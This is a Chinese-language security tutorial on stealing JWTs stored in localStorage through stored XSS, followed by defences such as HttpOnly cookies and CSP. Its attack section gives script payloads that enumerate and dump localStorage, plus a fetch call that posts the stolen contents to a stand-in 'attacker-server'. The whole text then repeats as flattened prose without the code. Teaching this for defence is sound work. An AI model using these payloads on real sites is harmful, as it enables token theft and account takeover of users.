看我如何通过XSS窃取localStorage中的JWT
字数 1402 2025-08-18 11:39:30

通过XSS窃取localStorage中JWT的教学文档

1. JWT基础概念

1.1 JWT组成

  • Header: 包含使用的哈希算法
  • Payload: 包含用户相关信息(角色、访问权限等)
  • Signature: 用于确保消息完整性
  • 三部分由"."分隔

1.2 JWT与传统Cookie的区别

特性 JWT 传统Cookie
状态 无状态(服务器不存储) 有状态(服务器存储)
存储位置 通常在localStorage/sessionStorage Cookie容器
设置方式 AUTHORIZATION头 SET-COOKIE命令
持久性 localStorage持久,sessionStorage临时 取决于过期设置
访问方式 只能通过JavaScript读取 服务器可读取

2. 存储机制对比

2.1 localStorage/sessionStorage

  • localStorage: 关闭浏览器后仍保持
  • sessionStorage: 仅持续到浏览器关闭前
  • 共同特点:
    • 只能在客户端读取
    • 只能通过JavaScript访问

2.2 Cookie

  • 设计用于在服务器端读取和验证
  • 可通过安全标志保护:
    • HttpOnly: 防止JavaScript访问
    • Secure: 仅通过HTTPS传输
    • Path/Domain: 限制访问范围

3. XSS窃取JWT技术详解

3.1 攻击前提

  • 目标网站存在存储型XSS漏洞
  • JWT存储在localStorage中
  • 无其他额外保护措施

3.2 攻击步骤

3.2.1 确定JWT存储键名

由于localStorage中的数据存储在数组中,需要知道确切的键名才能获取特定JWT。

方法1: 直接获取已知键名

<script>alert(localStorage.getItem('ServiceProvider.kdciaasdkfaeanfaegfpe23.username@company.com.accessToken'))</script>

方法2: 暴力枚举所有键名

<script>
for(let i=0; i<localStorage.length; i++) {
  let key = localStorage.key(i);
  alert(key + ": " + localStorage.getItem(key));
}
</script>

方法3: 使用JSON.stringify转储全部内容

<script>alert(JSON.stringify(localStorage))</script>

3.2.2 窃取并外传JWT

完整PoC示例:


或使用fetch API发送到攻击者服务器:

<script>
fetch('https://attacker-server/steal', {
  method: 'POST',
  body: JSON.stringify(localStorage)
});
</script>

3.3 获取的令牌类型

  • IdToken: 用于身份验证,可伪装成受害用户(账户接管)
  • accessToken: 可用于向身份验证端点请求新的IdToken

4. 防御措施

4.1 存储方案选择

  1. 避免在localStorage中存储敏感信息(JWT、凭据等)
  2. 优先考虑使用Cookie而非localStorage存储JWT

4.2 Cookie安全配置

  • 设置HttpOnly标志: 防止JavaScript访问
  • 设置Secure标志: 仅通过HTTPS传输
  • 合理设置Path和Domain范围
  • 设置适当的过期时间

4.3 其他防护措施

  1. 实施严格的CSP(内容安全策略)防止XSS
  2. 永远不要在页面、URL或源代码中显示令牌
  3. 对用户输入进行严格的过滤和转义
  4. 使用现代框架的XSS防护机制

5. 总结

通过XSS窃取localStorage中的JWT是一种有效的攻击手段,主要利用了两个漏洞:

  1. 网站存在XSS漏洞
  2. 将敏感令牌存储在易受攻击的localStorage中

防御的关键在于:

  • 正确选择令牌存储位置
  • 实施适当的安全标志
  • 消除XSS漏洞的可能性

遵循"最小特权原则"和"纵深防御"策略,可以显著降低此类攻击的风险。

通过XSS窃取localStorage中JWT的教学文档 1. JWT基础概念 1.1 JWT组成 Header : 包含使用的哈希算法 Payload : 包含用户相关信息(角色、访问权限等) Signature : 用于确保消息完整性 三部分由"."分隔 1.2 JWT与传统Cookie的区别 | 特性 | JWT | 传统Cookie | |------|-----|-----------| | 状态 | 无状态(服务器不存储) | 有状态(服务器存储) | | 存储位置 | 通常在localStorage/sessionStorage | Cookie容器 | | 设置方式 | AUTHORIZATION头 | SET-COOKIE命令 | | 持久性 | localStorage持久,sessionStorage临时 | 取决于过期设置 | | 访问方式 | 只能通过JavaScript读取 | 服务器可读取 | 2. 存储机制对比 2.1 localStorage/sessionStorage localStorage : 关闭浏览器后仍保持 sessionStorage : 仅持续到浏览器关闭前 共同特点: 只能在客户端读取 只能通过JavaScript访问 2.2 Cookie 设计用于在服务器端读取和验证 可通过安全标志保护: HttpOnly: 防止JavaScript访问 Secure: 仅通过HTTPS传输 Path/Domain: 限制访问范围 3. XSS窃取JWT技术详解 3.1 攻击前提 目标网站存在存储型XSS漏洞 JWT存储在localStorage中 无其他额外保护措施 3.2 攻击步骤 3.2.1 确定JWT存储键名 由于localStorage中的数据存储在数组中,需要知道确切的键名才能获取特定JWT。 方法1 : 直接获取已知键名 方法2 : 暴力枚举所有键名 方法3 : 使用JSON.stringify转储全部内容 3.2.2 窃取并外传JWT 完整PoC示例: 或使用fetch API发送到攻击者服务器: 3.3 获取的令牌类型 IdToken : 用于身份验证,可伪装成受害用户(账户接管) accessToken : 可用于向身份验证端点请求新的IdToken 4. 防御措施 4.1 存储方案选择 避免 在localStorage中存储敏感信息(JWT、凭据等) 优先考虑使用Cookie而非localStorage存储JWT 4.2 Cookie安全配置 设置HttpOnly标志: 防止JavaScript访问 设置Secure标志: 仅通过HTTPS传输 合理设置Path和Domain范围 设置适当的过期时间 4.3 其他防护措施 实施严格的CSP(内容安全策略)防止XSS 永远不要在页面、URL或源代码中显示令牌 对用户输入进行严格的过滤和转义 使用现代框架的XSS防护机制 5. 总结 通过XSS窃取localStorage中的JWT是一种有效的攻击手段,主要利用了两个漏洞: 网站存在XSS漏洞 将敏感令牌存储在易受攻击的localStorage中 防御的关键在于: 正确选择令牌存储位置 实施适当的安全标志 消除XSS漏洞的可能性 遵循"最小特权原则"和"纵深防御"策略,可以显著降低此类攻击的风险。